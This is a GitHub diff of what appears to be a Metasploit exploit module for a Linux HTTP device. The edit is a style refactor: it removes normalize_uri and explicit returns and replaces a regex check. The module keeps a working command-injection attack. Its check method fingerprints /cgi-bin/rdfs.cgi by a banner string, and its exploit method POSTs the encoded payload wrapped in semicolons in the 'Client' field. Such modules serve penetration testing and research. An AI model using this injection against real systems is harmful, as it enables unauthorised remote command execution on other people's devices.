File tree Expand file tree Collapse file tree 1 file changed +5
-5
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +5
-5
lines changed Original file line number Diff line number Diff line change @@ -50,20 +50,20 @@ def initialize(info={})
50
50
def check
51
51
res = send_request_cgi ( {
52
52
'method' => 'GET' ,
53
- 'uri' => normalize_uri ( '/cgi-bin/rdfs.cgi' )
53
+ 'uri' => '/cgi-bin/rdfs.cgi'
54
54
} )
55
- if res and res . body =~ / Follow administrator instructions to enter the complete path/ then
56
- return Exploit ::CheckCode ::Appears
55
+ if res && res . body . include? ( " Follow administrator instructions to enter the complete path" )
56
+ Exploit ::CheckCode ::Appears
57
57
else
58
- return Exploit ::CheckCode ::Safe
58
+ Exploit ::CheckCode ::Safe
59
59
end
60
60
end
61
61
62
62
def exploit
63
63
print_status ( 'Sending request' )
64
64
send_request_cgi (
65
65
'method' => 'POST' ,
66
- 'uri' => normalize_uri ( '/cgi-bin/rdfs.cgi' ) ,
66
+ 'uri' => '/cgi-bin/rdfs.cgi' ,
67
67
'vars_post' => {
68
68
'Client' => ";#{ payload . encoded } ;" ,
69
69
'Download' => 'Download'
You can’t perform that action at this time.
0 commit comments